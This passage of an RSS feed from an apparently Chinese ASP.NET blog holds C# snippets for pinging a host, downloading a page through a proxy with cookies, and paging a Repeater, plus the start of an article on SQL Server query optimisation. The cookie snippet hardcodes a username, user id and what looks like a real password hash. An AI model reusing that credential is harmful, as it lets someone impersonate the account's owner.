            PingReply reply &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; p.Send(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;62.150.35.230&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;, timeout, buffer, options);
            Response.Write(reply.Status.ToString());&lt;/SPAN&gt;&lt;SPAN style="COLOR: #008000"&gt;//&lt;/SPAN&gt;&lt;SPAN style="COLOR: #008000"&gt;返回状态&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/PRE&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1046" width="1" height="1"&gt;</description></item><item><title>asp.net 设置全局代理和添加cookie实现文件下载</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/12/03/1030.aspx</link><pubDate>Sun, 03 Dec 2006 12:16:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1030</guid><dc:creator /><slash:comments>1</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1030.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1030</wfw:commentRss><description>&lt;PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"&gt;&lt;DIV&gt;&lt;SPAN style="COLOR: #000000"&gt;            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;string&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; webporxy &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; System.Configuration.ConfigurationManager.AppSettings[&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;WebPoxy&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;].ToString();// 获取代理：127.0.0.1:800
            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;if&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; (webporxy &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;!=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;string&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;.Empty)
                System.Net.WebRequest.DefaultWebProxy &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; WebProxy(webporxy);
            Cookie cok &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Cookie(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;pausername&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;, &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;ServUcn&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;);

            Cookie cok1 &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Cookie(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;pauserid&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;, &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;6172260&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;);
            Cookie cok2 &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Cookie(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;papasswordhash&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;, &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;507277cf24a404d4911efdf12a59ae5e&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;);

            HttpWebRequest  req  &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;  (HttpWebRequest)WebRequest.Create(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;A href='http://www.ucasp.net");'&gt;http://www.ucasp.net&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;);
&lt;/A&gt;            req.CookieContainer &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; CookieContainer();
            req.CookieContainer.Add(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Uri(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;A href='http://www.ucasp.net");/'&gt;&lt;U&gt;&lt;FONT color=#0000ff&gt;http://www.ucasp.net&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;), cok);
            req.CookieContainer.Add(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Uri(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;A href='http://www.ucasp.net");/'&gt;&lt;U&gt;&lt;FONT color=#0000ff&gt;http://www.ucasp.net&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;), cok1);
            req.CookieContainer.Add(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Uri(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;SPAN style="COLOR: #000000"&gt;&lt;A href='http://www.ucasp.net");/'&gt;&lt;U&gt;&lt;FONT color=#0000ff&gt;http://www.ucasp.net&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;), cok2);
            HttpWebResponse  res  &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;  (HttpWebResponse)req.GetResponse();

            System.IO.Stream  resData  &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;  res.GetResponseStream()  ;
            System.IO.StreamReader reader &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; System.IO.StreamReader(resData, System.Text.Encoding.GetEncoding(&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;gb2312&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;));
            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;string&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; content &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; reader.ReadToEnd();  
            Response.Write(content)&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/PRE&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1030" width="1" height="1"&gt;</description></item><item><title>Repeater控件分页例子</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/11/27/1018.aspx</link><pubDate>Mon, 27 Nov 2006 02:13:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1018</guid><dc:creator /><slash:comments>1</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1018.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1018</wfw:commentRss><description>&lt;DIV&gt;Repeater和DataList控件提供了一个快速、灵活的表现数据的方式，但是，它们没有内建的分页功能；DataGrid控件提供了内建的分页功能，但它的结构比较复杂。下面就用PagedDataSource类实现Repeater和DataList的分页。 PagedDataSource封装了DataGrid的分页属性，我们可以象DataGrid那样进行分页。代码如下：&lt;/DIV&gt;
&lt;P&gt;C#版本&amp;nbsp;&lt;/P&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;&lt;/DIV&gt;&lt;PRE&gt;&lt;/PRE&gt;&lt;PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"&gt;&lt;DIV&gt;&lt;SPAN style="COLOR: #000000"&gt;        DataTable table &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; AdminUserBLL().ListAdmin();
        PagedDataSource objPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; PagedDataSource();
        objPage.AllowPaging &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;true&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        objPage.DataSource &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; table.DefaultView;
        objPage.PageSize &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;10&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;int&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; CurPage;
        &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;if&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; (Request.QueryString[&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;Page&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;] &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;!=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;null&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;)
        {
            CurPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Convert.ToInt32(Request.QueryString[&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;Page&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;]);
        }
        &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;else&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; 
        {
            CurPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;1&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        }
        objPage.CurrentPageIndex &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; CurPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;-&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;1&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        lblCurrentPage.Text &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;当前页：&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; CurPage.ToString()&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;/共&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;objPage.PageCount.ToString()&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;页&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;if&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; (&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;!&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;objPage.IsFirstPage)
        {
            lnkPrev.Text &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&amp;lt;a href=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Request.CurrentExecutionFilePath &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;?Page=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Convert.ToString(CurPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;-&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;1&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;) &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&amp;gt;上一页&amp;lt;/a&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
        }
        &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;if&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; (&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;!&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;objPage.IsLastPage)
        {
            lnkNext.Text &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&amp;lt;a href=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Request.CurrentExecutionFilePath &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;?Page=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Convert.ToString(CurPage &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;1&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;) &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;+&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;&amp;gt;下一页&amp;lt;/a&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;

        }
        User_List.DataSource &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; objPage;
        User_List.DataBind();&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/PRE&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1018" width="1" height="1"&gt;</description></item><item><title>海量数据库的查询优化及分页算法方案</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/11/25/1016.aspx</link><pubDate>Sat, 25 Nov 2006 05:58:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1016</guid><dc:creator /><slash:comments>0</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1016.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1016</wfw:commentRss><description>&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;随着“金盾工程”建设的逐步深入和公安信息化的高速发展，公安计算机应用系统被广泛应用在各警种、各部门。与此同时，应用系统体系的核心、系统数据的存放地&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体"&gt;――&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;数据库也随着实际应用而急剧膨胀，一些大规模的系统，如人口系统的数据甚至超过了&lt;SPAN&gt;1000&lt;/SPAN&gt;万条，可谓海量。那么，如何实现快速地从这些超大容量的数据库中提取数据（查询）、分析、统计以及提取数据后进行数据分页已成为各地系统管理员和数据库管理员亟待解决的难题。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt"&gt;
&lt;P class=MsoNormal style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN: 0cm 0cm 0pt; BORDER-LEFT: medium none; TEXT-INDENT: 32.25pt; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-bottom-alt: solid windowtext .75pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;在以下的文章中，我将以“办公自动化”系统为例，探讨如何在有着&lt;SPAN&gt;1000&lt;/SPAN&gt;万条数据的&lt;SPAN&gt;MS SQL SERVER&lt;/SPAN&gt;数据库中实现快速的数据提取和数据分页。以下代码说明了我们实例中数据库的“红头文件”一表的部分数据结构：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;CREATE TABLE [dbo].[TGongwen] (&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;--TGongwen&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;是红头文件表名&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;[Gid] [int] IDENTITY (1, 1) NOT NULL ,&lt;BR&gt;--&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;本表的&lt;SPAN&gt;id&lt;/SPAN&gt;号，也是主键&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;[title] [varchar] (80) COLLATE Chinese_PRC_CI_AS NULL ,&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;BR&gt;--&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;红头文件的标题&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;[fariqi] [datetime] NULL ,&lt;BR&gt;--&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;发布日期&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;[neibuYonghu] [varchar] (70) COLLATE Chinese_PRC_CI_AS NULL ,&lt;BR&gt;--&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;发布用户&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;[reader] [varchar] (900) COLLATE Chinese_PRC_CI_AS NULL ,&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
